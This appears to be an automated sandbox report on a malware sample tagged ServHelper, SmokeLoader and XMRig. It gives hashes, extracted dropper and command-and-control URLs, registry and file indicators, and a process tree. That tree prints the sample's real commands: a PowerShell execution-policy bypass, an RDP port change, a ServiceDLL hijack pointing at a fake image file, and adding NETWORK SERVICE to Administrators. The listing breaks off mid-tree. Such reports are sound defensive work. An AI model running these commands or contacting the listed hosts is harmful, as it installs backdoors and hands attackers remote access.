servhelper | 1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4

Analysis

max time kernel
151s
max time network
137s
submitted
01-01-1970 00:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe
Size

184KB
MD5

87e989a0716df97e7a81fb0dd1756cb6
SHA1

350a2c2d358568cc4abdd0a79ff403affe47c5ee
SHA256

1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4
SHA512

948218a3a74685a153a4cfaf066434eb0d113f05adf9810d3faf53b3767985c974c052989d4d9023aedec6cea9989196339077731eab46965a56b8967c48bcc1

Score

10^/10

servhelper smokeloader xmrig backdoor miner persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://brandyjaggers.com/upload/

http://andbal.com/upload/

http://alotofquotes.com/upload/

http://szpnc.cn/upload/

http://uggeboots.com/upload/

http://100klv.com/upload/

http://rapmusic.at/upload/

rc4.i32

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
66	1584	powershell.exe
69	1584	powershell.exe
70	1584	powershell.exe
72	1584	powershell.exe
74	1584	powershell.exe
76	1584	powershell.exe
79	1584	powershell.exe
81	1584	powershell.exe
83	1584	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
3084	54F2.exe
3528	686B.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000b00000001aba3-590.dat	upx
behavioral1/files/0x000b00000001aba4-595.dat	upx

Deletes itself 1 IoCs

pid	Process
2960	Process not Found

Loads dropped DLL 2 IoCs

pid	Process
2152	Process not Found
2152	Process not Found

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\rdpclip.exe	powershell.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 24 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF5AA.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_wlbuzogr.0oh.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_xzru4myp.asd.psm1	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF5BA.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF539.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF588.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF599.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2972	3528	WerFault.exe	71

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
2668	reg.exe
3376	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	74	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	69	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	70	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	72	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2700	1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe
2700	1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2960	Process not Found

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
628	Process not Found
628	Process not Found
628	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2700	1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1412	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	3228	powershell.exe
Token: SeIncreaseQuotaPrivilege	1516	powershell.exe
Token: SeSecurityPrivilege	1516	powershell.exe
Token: SeTakeOwnershipPrivilege	1516	powershell.exe
Token: SeLoadDriverPrivilege	1516	powershell.exe
Token: SeSystemProfilePrivilege	1516	powershell.exe
Token: SeSystemtimePrivilege	1516	powershell.exe
Token: SeProfSingleProcessPrivilege	1516	powershell.exe
Token: SeIncBasePriorityPrivilege	1516	powershell.exe
Token: SeCreatePagefilePrivilege	1516	powershell.exe
Token: SeBackupPrivilege	1516	powershell.exe
Token: SeRestorePrivilege	1516	powershell.exe
Token: SeShutdownPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeSystemEnvironmentPrivilege	1516	powershell.exe
Token: SeRemoteShutdownPrivilege	1516	powershell.exe
Token: SeUndockPrivilege	1516	powershell.exe
Token: SeManageVolumePrivilege	1516	powershell.exe
Token: 33	1516	powershell.exe
Token: 34	1516	powershell.exe
Token: 35	1516	powershell.exe
Token: 36	1516	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeIncreaseQuotaPrivilege	2684	powershell.exe
Token: SeSecurityPrivilege	2684	powershell.exe
Token: SeTakeOwnershipPrivilege	2684	powershell.exe
Token: SeLoadDriverPrivilege	2684	powershell.exe
Token: SeSystemProfilePrivilege	2684	powershell.exe
Token: SeSystemtimePrivilege	2684	powershell.exe
Token: SeProfSingleProcessPrivilege	2684	powershell.exe
Token: SeIncBasePriorityPrivilege	2684	powershell.exe
Token: SeCreatePagefilePrivilege	2684	powershell.exe
Token: SeBackupPrivilege	2684	powershell.exe
Token: SeRestorePrivilege	2684	powershell.exe
Token: SeShutdownPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeSystemEnvironmentPrivilege	2684	powershell.exe
Token: SeRemoteShutdownPrivilege	2684	powershell.exe
Token: SeUndockPrivilege	2684	powershell.exe
Token: SeManageVolumePrivilege	2684	powershell.exe
Token: 33	2684	powershell.exe
Token: 34	2684	powershell.exe
Token: 35	2684	powershell.exe
Token: 36	2684	powershell.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeIncreaseQuotaPrivilege	2264	powershell.exe
Token: SeSecurityPrivilege	2264	powershell.exe
Token: SeTakeOwnershipPrivilege	2264	powershell.exe
Token: SeLoadDriverPrivilege	2264	powershell.exe
Token: SeSystemProfilePrivilege	2264	powershell.exe
Token: SeSystemtimePrivilege	2264	powershell.exe
Token: SeProfSingleProcessPrivilege	2264	powershell.exe
Token: SeIncBasePriorityPrivilege	2264	powershell.exe
Token: SeCreatePagefilePrivilege	2264	powershell.exe
Token: SeBackupPrivilege	2264	powershell.exe
Token: SeRestorePrivilege	2264	powershell.exe
Token: SeShutdownPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeSystemEnvironmentPrivilege	2264	powershell.exe
Token: SeRemoteShutdownPrivilege	2264	powershell.exe
Token: SeUndockPrivilege	2264	powershell.exe
Token: SeManageVolumePrivilege	2264	powershell.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found

Suspicious use of SendNotifyMessage 9 IoCs

pid	Process
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found
2960	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2960 wrote to memory of 3084	2960	Process not Found	69
PID 2960 wrote to memory of 3084	2960	Process not Found	69
PID 2960 wrote to memory of 3528	2960	Process not Found	71
PID 2960 wrote to memory of 3528	2960	Process not Found	71
PID 2960 wrote to memory of 3528	2960	Process not Found	71
PID 3084 wrote to memory of 1412	3084	54F2.exe	72
PID 3084 wrote to memory of 1412	3084	54F2.exe	72
PID 1412 wrote to memory of 820	1412	powershell.exe	74
PID 1412 wrote to memory of 820	1412	powershell.exe	74
PID 820 wrote to memory of 2348	820	csc.exe	75
PID 820 wrote to memory of 2348	820	csc.exe	75
PID 1412 wrote to memory of 1516	1412	powershell.exe	76
PID 1412 wrote to memory of 1516	1412	powershell.exe	76
PID 3528 wrote to memory of 3228	3528	686B.exe	78
PID 3528 wrote to memory of 3228	3528	686B.exe	78
PID 3528 wrote to memory of 3228	3528	686B.exe	78
PID 1412 wrote to memory of 2684	1412	powershell.exe	81
PID 1412 wrote to memory of 2684	1412	powershell.exe	81
PID 1412 wrote to memory of 2264	1412	powershell.exe	83
PID 1412 wrote to memory of 2264	1412	powershell.exe	83
PID 3228 wrote to memory of 3720	3228	powershell.exe	85
PID 3228 wrote to memory of 3720	3228	powershell.exe	85
PID 3228 wrote to memory of 3720	3228	powershell.exe	85
PID 3720 wrote to memory of 3524	3720	csc.exe	86
PID 3720 wrote to memory of 3524	3720	csc.exe	86
PID 3720 wrote to memory of 3524	3720	csc.exe	86
PID 3228 wrote to memory of 2632	3228	powershell.exe	87
PID 3228 wrote to memory of 2632	3228	powershell.exe	87
PID 3228 wrote to memory of 2632	3228	powershell.exe	87
PID 1412 wrote to memory of 3524	1412	powershell.exe	89
PID 1412 wrote to memory of 3524	1412	powershell.exe	89
PID 1412 wrote to memory of 2668	1412	powershell.exe	90
PID 1412 wrote to memory of 2668	1412	powershell.exe	90
PID 1412 wrote to memory of 1516	1412	powershell.exe	91
PID 1412 wrote to memory of 1516	1412	powershell.exe	91
PID 1412 wrote to memory of 3892	1412	powershell.exe	94
PID 1412 wrote to memory of 3892	1412	powershell.exe	94
PID 3892 wrote to memory of 1232	3892	net.exe	95
PID 3892 wrote to memory of 1232	3892	net.exe	95
PID 1412 wrote to memory of 3972	1412	powershell.exe	96
PID 1412 wrote to memory of 3972	1412	powershell.exe	96
PID 3972 wrote to memory of 1848	3972	cmd.exe	97
PID 3972 wrote to memory of 1848	3972	cmd.exe	97
PID 1848 wrote to memory of 2996	1848	cmd.exe	105
PID 1848 wrote to memory of 2996	1848	cmd.exe	105
PID 2996 wrote to memory of 3052	2996	cmd.exe	99
PID 2996 wrote to memory of 3052	2996	cmd.exe	99
PID 1412 wrote to memory of 1648	1412	powershell.exe	100
PID 1412 wrote to memory of 1648	1412	powershell.exe	100
PID 1648 wrote to memory of 1376	1648	cmd.exe	101
PID 1648 wrote to memory of 1376	1648	cmd.exe	101
PID 1376 wrote to memory of 980	1376	cmd.exe	102
PID 1376 wrote to memory of 980	1376	cmd.exe	102
PID 980 wrote to memory of 2896	980	net.exe	103
PID 980 wrote to memory of 2896	980	net.exe	103
PID 2996 wrote to memory of 3720	2996	cmd.exe	107
PID 2996 wrote to memory of 3720	2996	cmd.exe	107
PID 3720 wrote to memory of 1632	3720	net.exe	108
PID 3720 wrote to memory of 1632	3720	net.exe	108
PID 4064 wrote to memory of 1232	4064	cmd.exe	111
PID 4064 wrote to memory of 1232	4064	cmd.exe	111
PID 1232 wrote to memory of 3672	1232	net.exe	112
PID 1232 wrote to memory of 3672	1232	net.exe	112
PID 2972 wrote to memory of 3724	2972	cmd.exe	115

C:\Users\Admin\AppData\Local\Temp\1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe
"C:\Users\Admin\AppData\Local\Temp\1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2700

C:\Users\Admin\AppData\Local\Temp\54F2.exe
C:\Users\Admin\AppData\Local\Temp\54F2.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ba3hzcvm\ba3hzcvm.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:820
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES78A7.tmp" "c:\Users\Admin\AppData\Local\Temp\ba3hzcvm\CSCFADF3ACD147B44F88084303A989057BD.TMP"
      4⤵
      PID:2348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2264
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:3524
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2668
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1516
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3892
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1232
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3972
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1848
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:2996
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3052
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1648
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1376
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:980
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2896
- - C:\Windows\system32\cmd.exe
